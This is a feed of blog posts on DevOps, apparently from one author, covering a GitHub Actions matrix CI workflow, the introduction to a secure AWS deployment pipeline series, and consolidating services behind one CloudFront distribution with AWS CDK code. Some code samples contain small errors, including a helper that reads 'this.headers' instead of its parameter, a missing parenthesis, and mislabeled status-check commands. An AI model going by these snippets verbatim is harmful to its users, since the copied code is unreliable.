              command: "cd serverless && npm run build && npm test",
            }
          - {
              task: "Webapp",
              command: "cd webapp && npm run build && npm test",
            }

    steps:
      - name: Checkout code
        uses: actions/checkout@v4

      - name: Setup Node.js
        uses: actions/setup-node@v4
        with:
          node-version: "20"

      - name: Cache node_modules
        uses: actions/cache@v4
        with:
          path: .
          key: node-modules-${{ runner.os }}-${{ github.sha }}
          restore-keys: |
            node-modules-${{ runner.os }}-

      - name: ${{ matrix.task }}
        run: ${{ matrix.command }}

  cleanup:
    name: Cache Cleanup
    runs-on: ubuntu-latest
    needs: [ci-checks]
    if: always()
    steps:
      - name: Delete workflow cache
        run: |
          gh cache delete "node-modules-${{ runner.os }}-${{ github.sha }}" --repo ${{ github.repository }} || echo "Cache not found or already deleted"
        env:
          GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}

How the Matrix Strategy Works

A single job installs all the dependencies and saves to the GitHub cache—Remember this a monorepo with NPM Workspaces so one npm ci is enough for the entire project
The GitHub matrix spawns 3 parallel jobs
- Each job restores the cache, runs its command, and reports its status
The last job removes the cache to prevent accumulation

Each project now appears as a separate status check in the PR, making it immediately clear which component has issues:

PR Status Checks:
✅ CI Checks (IaC, cd serverless && npm run build && npm test)
✅ CI Checks (Serverless, cd serverless && npm run build && npm test)
❌ CI Checks (Webapp, cd serverless && npm run build && npm test)  ← Clear failure point

Cache Management Strategy

GitHub Actions cache doesn't support TTL (time-to-live), so I implemented manual cleanup:

Setup job: Creates cache with unique key node-modules-{OS}-{SHA}
Matrix jobs: Restore from cache, run in parallel (1-2 minutes each)
Cleanup job: Deletes cache to prevent accumulation

⚠️ Why cleanup matters: Without cleanup, caches accumulate and can hit GitHub's storage limits. Each PR creates a unique cache that would otherwise persist.

Key Takeaways

Split CI from CD: Validate quickly, deploy only after approval
Use Rule Sets: More flexible than legacy branch protection
Matrix Strategy: Parallel validation scales with project complexity
Cache Management: Manual cleanup prevents storage issues
Status Visibility: Each project gets its own check for clear feedback

The next challenge was ensuring that only approved contributors could merge changes—which brings us to our review requirements and code ownership strategy.

What's Coming Next

We now have parallel validation working, but we need to ensure the right people review the right code. In the next article, we'll implement branch protection rules with designated reviewers and add cost-effective security scanning.

You'll learn:

Setting up review requirements with CODEOWNERS
Implementing smart security scanning without GitHub's expensive Advanced Security
Using path filters to target scans only where needed
Balancing security with development velocity

Continue with Part 3: Secure Code Review - Branch Protection and Automated Security Scanning →

From Chaos to Control: Why We Need Secure Deployment Pipelines

Dom Derrien — Wed, 09 Jul 2025 18:49:01 +0000

This is the first article in a 5-part series about implementing GitHub Rule Sets and secure workflows for AWS deployments. We'll go from a speed-first approach to a validation-first pipeline that maintains developer velocity while ensuring security and reliability.

Series Overview

Over the coming articles, we'll build a complete secure deployment pipeline:

From Chaos to Control: Understanding the problem and solution architecture (this article)
GitHub Rule Sets: Implementing parallel validation with status checks
Secure Code Review: Branch protection and automated security scanning
The Trust Challenge: Safe infrastructure previews in forked workflows
Lessons Learned: Real-world insights and best practices

Let's start with why we needed this transformation in the first place.

From Speed to Security: Rethinking Our AWS Pipeline

The Starting Point: A Fast but Fragile System

Over the past few months, I've been building and refining a monorepo with NPM Workspaces that hosts different parts of my AWS-based application.

my-aws-app/
├── 📁 iac/           ← CDK Infrastructure
├── 📁 serverless/    ← Lambda Functions + Tests
├── 📁 webapp/        ← Vite+Lit SPA
└── 📁 cdn/           ← Static Assets → S3

Initially, our pipeline prioritized speed over everything else. The workflow was simple.

 "Move Fast" Approach
┌───────────────┐  ┌─────────────┐  ┌───────┐  ┌───────────────┐  ┌─────────────┐  ┌───────┐
│ PR -> develop │─▶│ Auto Deploy │─▶│Reviews│─▶│   Manual PR   │─▶│ Auto Deploy │─▶│Reviews│
└───────────────┘  │ to develop  │  └───────┘  │develop -> main│  │   to main   │  └───────┘
                   └─────────────┘             └───────────────┘  └─────────────┘

Merging a pull request into develop would instantly deploy a new Develop stack—great for rapid feedback and previews. Production deployments were gated behind manual pull requests from develop to main. This informal control worked well initially, but it relied entirely on our team's discipline rather than automated validation.

⚠️ What went wrong with our speed-first approach:

Dependencies with unchecked vulnerabilities

Infrastructure changes without proper review

No audit trail for changes

The final straw came when Dependabot started flooding us with dependency updates. While helpful for staying current, each update triggered automatic deployments without proper validation. We needed structure, not just speed.

The Vision: Control Without Bottlenecks

I decided to implement GitHub Rule Sets and re-architect the GitHub Actions workflows. The goal was to build confidence in every deployment.

"Validate First" Approach
┌─────────────┐  ┌─────────┐  ┌───────┐  ┌───────────┐  ┌───────────────┐  ┌─────────┐  ┌───────┐  ┌─────────┐
│PR -> develop│─▶│CI Checks│─▶│Reviews│─▶│ Approved  │─▶│   Manual PR   │─▶│CI Checks│─▶│Reviews│─▶│Approved │
└─────────────┘  └─────────┘  └───────┘  │  Deploy   │  │develop -> main│  └─────────┘  └───────┘  │ deploy  │
                 ┌──────────────┐        │to develop │  └───────────────┘                          │ to main │
                 │ Quality Scan │        └───────────┘                                             └─────────┘
                 └──────────────┘
                 ┌────────────────┐
                 │ AWS Infra Diff │
                 └────────────────┘

The new system enforces four key validation gates:

Gate	What It Checks	Why It Matters
✅ Build & Test	Code compiles, tests pass	Prevents broken deployments
🔍 Security Scan	npm audit, ESLint rules	Catches vulnerabilities early
🧠 Infrastructure Diff	CDK changes preview	Transparency before infrastructure changes
🛑 Review Gate	Human approval required	Maintains code quality and knowledge sharing

The Implementation Challenge

Setting up this secure pipeline wasn't trivial—it took ome intensive week to get right. The complexity came from several technical challenges:

Status Checks: Configuring GitHub Rule Sets to recognize parallel validation jobs
Security Scanning: Balancing thoroughness with cost (avoiding GitHub's $53/user Advanced Security)
Infrastructure Diffing: Safely running cdk diff on untrusted pull request code
Performance: Optimizing workflows to avoid slowing down development

What's Ahead

In the following sections, I'll walk you through each component of this hardened pipeline:

Parallel Validation: How status checks and matrix strategies streamline CI
Review Requirements: Setting up code owners and approval gates
Security Scanning: Cost-effective tools for vulnerability detection
Infrastructure Safety: The dual-checkout pattern for secure CDK diffs
Lessons Learned: What worked, what didn't, and what I'd do differently

The result is a pipeline that's both safer and more trustworthy, without sacrificing the development velocity that made us productive in the first place.

What's Coming Next

In the next article, we'll dive into the technical implementation of GitHub Rule Sets and status checks. You'll learn how to set up parallel validation pipelines that can handle multiple projects simultaneously, using matrix strategies to optimize both performance and clarity.

We'll cover:

Creating Rule Sets with JSON configuration
Setting up status checks that actually work
Implementing matrix strategies for parallel CI
Optimizing caching and cleanup

The goal is to transform your pull requests from simple code reviews into comprehensive validation checkpoints.

Continue with Part 2: GitHub Rule Sets - Enforcing Quality Through Status Checks →

One CloudFront distribution to rule them all

Dom Derrien — Sat, 15 Mar 2025 21:53:09 +0000

Context

In large companies with half a dozen or more development teams, it's common to have each team to control its own infrastructure and deploy services independently.

When I joined a startup, I initially maintained the same approach: one endpoint per service. However, I recently reorganized the code, consolidating everything into a single Git repository:

An HTTP API (using AWS API Gateway).
A Websocket API (using AWS API Gateway).
A static website (hosted on S3 and served via CloudFront).
A CDN for persistent data (hosted on S3 and served via CloudFront).
All configured and deployed using AWS CDK and GitHub Actions.

Why consolidate all CloudFront distributions?

Last September, I came across an interesting suggestion in Yan Cui's post on X (formerly Twitter):

If you host your APIs or other resources on different domains (even subdomain), browsers make additional calls to those endpoints to meet CORS requirements.
Since API Gateway charges per request and data transfer, this effectively means paying for two requests instead of one!

I appreciate the simplicity of deploying a web application where all requests to backend services use relative paths (/api/v1/user/me or /cdn/images/REWR7.avif) instead of fully qualified ones (https://api.example.com/v1/user/me or https://cdn.example.com/images.REWR7.avif). This makes deploying the website virtually effortless, regardless of the environment.

// Detect dark theme var iframe = document.getElementById('tweet-1760676981430206928-665'); if (document.body.className.includes('dark-theme')) { iframe.src = "https://platform.twitter.com/embed/Tweet.html?id=1760676981430206928&theme=dark" }

While this situation can be mitigated, as I'll explain later, I decided to expose the APIs and S3 services through the same CloudFront distribution as the static website.

My goals are:

Reduce costs by minimizing requests to the services.
Reduce latency by minimizing the number of requests that need to be answered.
Conserve network resources by maintaining only one open HTTP/2 or HTTP/3 connection.

Critical enablers

Successful consolidation of multiple services within a single CloudFront distribution requires that there be no overlapping paths used to access those services.

In my case:

The paths for the APIs did not conflict with any resource path deployed with the website. The path pattern is like: /v{version}/{scope}/{resource}
The resources in S3 already had unique prefixes (aka folder names in S3-speak) such as /data, /assets, etc.
The website exposes files at the root level (like /index.html), in standard folders (like /.well-known), and a /resources folder.

With the help of the AWS CDK

I much prefer writing code with the AWS CDK over scripting in Jenkins or writing YAML for Terraform. Infrastructure as Code (IaC) with the CDK is fantastic!

With a couple of files, I defined the setup and behaviors of:

A few tables in AWS DynamoDB for transactional data.
One S3 bucket for persistent data.
One Lambda function for each major HTTP API resource handler.
One Lambda for the WebSocket authorizer and another one for its handler.
And many other Lambda functions: for the scheduled jobs (EventBridge), for the state machine (AWS Step Functions), for the message queue management (AWS SQS), for transaction analysis (DynamoDB Streams), etc.
Two static websites (one public, one for administrators) hosted on S3.

The code samples I'm going to share below are written in TypeScript and work with the CDK v2.184. I have only made minor edits to match the domain https://example.com.

The challenges

For a seamless transition, I aimed to maintain the existing CloudFront distributions with robust CORS support.

Consolidating into a single distribution must not compromise access control. I have one API secured by AWS Cognito, using a user pool for email-authenticated users, and another API with a custom authorizer for users authenticated via a third-party OpenID Connect provider.

The existing caching strategy for each service and S3 bucket must be preserved.

The IaC code update

For brevity, I'll only share the setup for the HTTP API, as the other setups are quite similar.

The configuration for the HTTP API and its own CloudFront distribution

// HTTP API
this.httpApi = new HttpApi(this, 'ExampleHttpApi', {
    corsPreflight: {
        allowCredentials: true,
        allowHeaders: props.allowedRequestHeaders,
        allowMethods: [CorsHttpMethod.ANY],
        allowOrigins: props.allowedOrigins,
        exposeHeaders: props.allowedResponseHeaders,
        maxAge: Duration.hours(2),
    },
    description: 'HTTP API',
    disableExecuteApiEndpoint: false, // Because no custom domain, just CF
});

The API definition is set to issue the responses to the CORS preflights automatically. Accesses via CloudFront will see the response cached and served automatically during the next two hours.

// To let CloudFront handle the CORS-related headers
const corsHeadersPolicy = new ResponseHeadersPolicy(this, 'CorsHeadersPolicy', {
    corsBehavior: {
        accessControlAllowCredentials: true,
        accessControlAllowHeaders: props.allowedRequestHeaders,
        accessControlAllowMethods: ['ALL'],
        accessControlAllowOrigins: props.allowedOrigins,
        accessControlExposeHeaders: props.allowedResponseHeaders,
        accessControlMaxAge: Duration.hours(2),
        originOverride: true,
    },
});

// CloudFront Distribution
const distribution = new Distribution(this, 'ExampleHttpApiDistribution', {
    comment: 'HTTP API front',
    defaultBehavior: {
        allowedMethods: AllowedMethods.ALLOW_ALL,
        cachedMethods: AllowedMethods.ALLOW_GET_HEAD_OPTIONS,
        cachePolicy: CachePolicy.CACHING_DISABLED,
        compress: false,
        origin: new HttpOrigin(`${this.httpApi.apiId}.execute-api.${Stack.of(this).region}.amazonaws.com`),
        originRequestPolicy: OriginRequestPolicy.ALL_VIEWER_EXCEPT_HOST_HEADER,
        responseHeadersPolicy: corsHeadersPolicy,
        viewerProtocolPolicy: ViewerProtocolPolicy.REDIRECT_TO_HTTPS,
    },
});

// Force the dependency so `apiId` is available this CF setup starts
distribution.node.addDependency(this.httpApi);

Note the origin request policy ALL_VIEWER_EXCEPT_HOST_HEADER is recommended by AWS for API Gateway and Lambda function origins.

The configuration for the static website and its own CloudFront distribution

// S3 bucketCloudFront redirects requests to known endpoints
const bucket = new Bucket(this, 'ExampleWebsiteBucket', {
    accessControl: BucketAccessControl.PRIVATE,
    blockPublicAccess: BlockPublicAccess.BLOCK_ALL,
    // cors: [], // No CORS as it interferes with Origin Access Control (OAC)
    enforceSSL: true,
    removalPolicy: RemovalPolicy.DESTROY,
});

As you can see, the bucket is being given an automatic name by CloudFormation. The name is not important here because no script will ever use the AWS SDK to read or update the bucket content. The bucket is also set with the removal policy set to DESTROY because its content can be recreated anytime.

Note that I take a different strategy for the bucket that serves as my CDN:

The removal policy is set to RETAIN because I don't want to lose the data accumulated over time.
The bucket is named so the scripts can rely on a name known in advance.
The bucket is part of a backup (also set with the CDK).

// CloudFront distribution
const distribution = new Distribution(this, 'ExampleWebsiteDistribution', {
    certificate,
    comment: 'Public website',
    defaultBehavior: {
        allowedMethods: AllowedMethods.ALLOW_GET_HEAD_OPTIONS,
        cachePolicy: CachePolicy.CACHING_OPTIMIZED,
        compress: true,
        origin: S3BucketOrigin.withOriginAccessControl(bucket, {
           originAccessControl: new S3OriginAccessControl(bucket, 'WebsiteOriginAccessControl'),
           originAccessLevels: [AccessLevel.READ], // No `LIST` access for the website content
        },
        originRequestPolicy: OriginRequestPolicy.CORS_S3_ORIGIN,
        responseHeadersPolicy: corsHeadersPolicy, // Same as above
        viewerProtocolPolicy: ViewerProtocolPolicy.REDIRECT_TO_HTTPS,
    },
    defaultRootObject: 'index.html',
    domainNames: ['app.example.com'],
    errorResponses: [
        {
            httpStatus: 403, // When a S3 returns `Access Denied`
            responseHttpStatus: 200,
            responsePagePath: '/index.html', // SPA access point
            ttl: Duration.minutes(30),
        },
        {
            httpStatus: 404, // If S3 returns a regular `Not Found`
            responseHttpStatus: 200,
            responsePagePath: '/index.html', // SPA access point
            ttl: Duration.minutes(30),
        },
    ],
    httpVersion: HttpVersion.HTTP2_AND_3,
    minimumProtocolVersion: SecurityPolicyProtocol.TLS_V1_2_2021,
});

The distribution has two particularities: it changes the S3 HTTP status code from 403 or 404 to 200 when S3 cannot serve a request, and it returns the content of the root object.

The extension of the CloudFront distribution for the static website

distribution.addBehavior(
    '/v2.23/*',
    new HttpOrigin(`${props.httpApi.apiId}.execute-api.${Stack.of(this).region}.amazonaws.com`, {
        keepaliveTimeout: Duration.minutes(1),
        customHeaders: {
            'X-Use-444-Not-Found': 'true', // For the API to return 444 code in place of 404 code
        },
    }),
    {
        allowedMethods: AllowedMethods.ALLOW_ALL,
        cachePolicy: CachePolicy.CACHING_DISABLED,
        compress: false,
        originRequestPolicy: OriginRequestPolicy.ALL_VIEWER_EXCEPT_HOST_HEADER,
        viewerProtocolPolicy: ViewerProtocolPolicy.REDIRECT_TO_HTTPS,
    },
);

The configuration to serve the requests for the HTTP API from the same distribution as the website (that means via https://app.example.com) has one specific setting:

A custom header set by CloudFront in all requests at the destination to the HTTP API—more information in the section below.

The behavior definition also clearly states that the HTTP API responses should not be cached. The payload produced by the HTTP API handler can contain headers like Cache-Control. They only have an effect on the end-user client (a browser or a smart native application).

Note also the distribution is set to not compress the response to reduce the latency. Usually, the HTTP API responses are small enough that compressing them even with brotli is not worthwhile.

Lessons learned

CORS protocol

I initially believed that cross-origin requests always involved a preflight request. The goal of this request is to inform the browsers if the remote resource allows any data use for that origin. The response of the preflight requests is often set with a Cache-Control header that allows browsers to trust the service response for a little while. This caching strategy saves bandwidth and improve the over-the-wire communication performance in the browser.

It turns out that browsers can skip preflight requests for simple requests. For the browser to process the response, this one must contain the header Access-Control-Allow-Origin with either * or the request issuer's origin (like https://app.example.com).

Note that for most services, using '*' or echoing the request's origin is discouraged due to the risk of XSS attacks and potential data leaks to uncontrolled origins. It's better to answer with one accepted value only.

404 — Not Found

In a standalone REST API, Lambda functions invoked by the HTTP API often return a 404 Not Found status when no resource matches the request.

If this behavior is left intact, the client using the endpoint common with the website (i.e., https://app.example.com) will get responses with the HTTP status 200 OK and the content of the /index.html file as the payload.

This behavior is expected in Single-Page Applications (SPAs):

When the user first visits the page with the base URL https://app.example.com, the browser receives the content of the /index.html page.
As the user visits more content in the application, the URL changes to keep track of the context. It can take a value like https://app.example.com/course/DSWL/chapter/3.
At any moment, the user can refresh the browser page, or it can bookmark it to come back later at the same place.
Since no HTML resource exists at that path, the S3 API will return a 403 Access Denied error to CloudFront!"
To avoid a disruption, we want CloudFront to return the content of the '/index.html page, trusting the application logic to make sense of the URL and to restore the content for the end user.

Because the HTTP API is likely accessed by a JavaScript fetch() call in a browser or HTTP requests from a native client, we need a mechanism to convey the 404 Custom Error information.

The solution I adopted is to let the Lambda functions behind the HTTP API know that we want a different error code than 404 Not Found when a resource cannot be found. In my case, I opted for 444 Custom Error, hence the header X-Use-444-Not-Found set to true in the CloudFront distribution definition.

Within the HTTP API Lambda handlers, during request payload processing, I invoke the following helper function to set a static variable. This variable is then used by the NotFoundException to generate the appropriate error code.

function _adjustBaseExceptionNotFoundErrorCode(headers: { [key: string]: string }): void {
    const controlHeader: string = 'X-Use-444-Not-Found'.toLowerCase();
    const detectedControlHeaders: string[] = Object.keys(headers).filter((key: string): boolean => {
        return (key.toLowerCase() === controlHeader && this.headers[key]) === 'true';
    });
    IBaseException.use444NotFound = 0 < detectedControlHeaders.length;
}

The client implementation was modified to include the 444 Custom Error within the error handling logic, in conjunction with the standard 404 Not Found.

Note the X-Use-444-Not-Found custom header preserves standard 404 Not Found behavior in Lambda functions accessed directly or via standalone CloudFront distributions within this consolidated setup.

Optimizing the HTTP/2 HTTP header management

On the HTTP/2 protocol (and its successor, HTTP/3), the full set of headers are passed over the wire with the first request. With subsequent requests, updated header values are transmitted to the server as compressed differences.

Typically, when exchanging data with a CDN, authorization tokens are not included in header values.

With this consolidated CloudFront distribution, if the web application alternates between CDN and API requests, the browser will frequently update the header payload, alternately removing and restoring the Authorization header.

To optimize processing, it's preferable to consistently include the Authorization header with the authentication token.

This is similar to always sending Accept: application/json, plain/text, even when the application primarily expects JSON, with plain text only returned after a successful POST request with a 201 Created status.

How to mitigate the issue without much refactoring

Making services like an API or an S3 bucket accessible via a different domain doesn't have to be costly. Here are several options for cost optimization:

Utilize simple requests whenever possible.
Leverage CloudFront in front of API Gateway or S3 buckets:
- The first 1TB of monthly data transfer out is free.
- Data transfer out from CloudFront is generally less expensive than from S3 or API Gateway.
- CloudFront traffic largely stays within the AWS private network, whereas direct traffic to S3 or API Gateway traverses the public internet.
- CloudFront edge location caching enhances performance.
Configure appropriate MaxAgeSeconds to cache preflight responses. Note that Chromium-based browsers limit this to a maximum of 2 hours.
Employ WebSocket connections instead of REST API calls for frequent communication.

Conclusion

In this post, we've demonstrated how to consolidate multiple services under a single CloudFront distribution using the AWS CDK. This method streamlines infrastructure management, lowers costs, and boosts performance. Utilizing custom headers and error handling, we can efficiently serve both static content and API endpoints through a unified distribution. While security and monitoring remain essential considerations, the advantages of consolidation make it a compelling strategy for numerous applications.

What are your experiences with consolidating CloudFront distributions? Share your thoughts in the comments below!

DEV Community: Dom Derrien

Lessons Learned: Building Secure Pipelines in Practice

Series Recap

The Reality Check: Time Investment vs. Security Payoff

The Rule Sets Revolution

Matrix Strategy: The Speed Revolution

The Trust Boundary Challenge

Security Tools Don't Have to Break the Bank

The Architecture That Made It Work

Separation of Concerns

Parallel Execution

Trust Boundaries

Progressive Enhancement

Conclusion: The Investment That Pays Off

The Trust Challenge: Safe Infrastructure Previews in Forked Workflows

The Infrastructure Security Dilemma

Understanding GitHub Actions Security Models

The pull_request Trigger: Safe but Limited

The pull_request_target Trigger: Powerful but Dangerous

The Dual-Checkout Security Pattern

How It Works

Docker: The Additional Isolation Layer

Safe Infrastructure Diffing Workflow

Key Security Measures

1. Trusted CDK CLI Usage

2. Isolated Output Directory

3. Docker Process Isolation

4. Credential Isolation

Implementation: The Complete Secure Workflow

Understanding the Remaining Risks

1. cdk-notifier GITHUB_TOKEN Access

2. CDK Synthesis-Time Code Execution

3. Diff Output Manipulation

Key Benefits of This Approach

Best Practices for Implementation

Looking Ahead

Secure Code Review: Branch Protection and Automated Security Scanning

Why Reviews Matter: Beyond Automation

Review Requirements Rule Set

Key parameters explained:

Strategic Code Ownership with CODEOWNERS

Review Workflow Integration

Balancing Speed and Thoroughness

Implementation Checklist

What's Next

GitHub Rule Sets: Enforcing Quality Through Status Checks

Building Parallel Validation Pipelines

The Problem: Monolithic Workflows Don't Scale

The Solution: Split CI from CD

Implementing GitHub Rule Sets

Setting Up Rule Sets

Important considerations:

The Matrix Strategy: Parallel Validation

How the Matrix Strategy Works

Cache Management Strategy

Key Takeaways

What's Coming Next

From Chaos to Control: Why We Need Secure Deployment Pipelines

Series Overview

From Speed to Security: Rethinking Our AWS Pipeline

The Starting Point: A Fast but Fragile System

The Vision: Control Without Bottlenecks

The Implementation Challenge

What's Ahead

What's Coming Next

One CloudFront distribution to rule them all

Context

Why consolidate all CloudFront distributions?

Critical enablers

With the help of the AWS CDK

The challenges

The IaC code update

The configuration for the HTTP API and its own CloudFront distribution

The configuration for the static website and its own CloudFront distribution

The extension of the CloudFront distribution for the static website

Lessons learned

CORS protocol

404 — Not Found

Optimizing the HTTP/2 HTTP header management

How to mitigate the issue without much refactoring

The `pull_request` Trigger: Safe but Limited

The `pull_request_target` Trigger: Powerful but Dangerous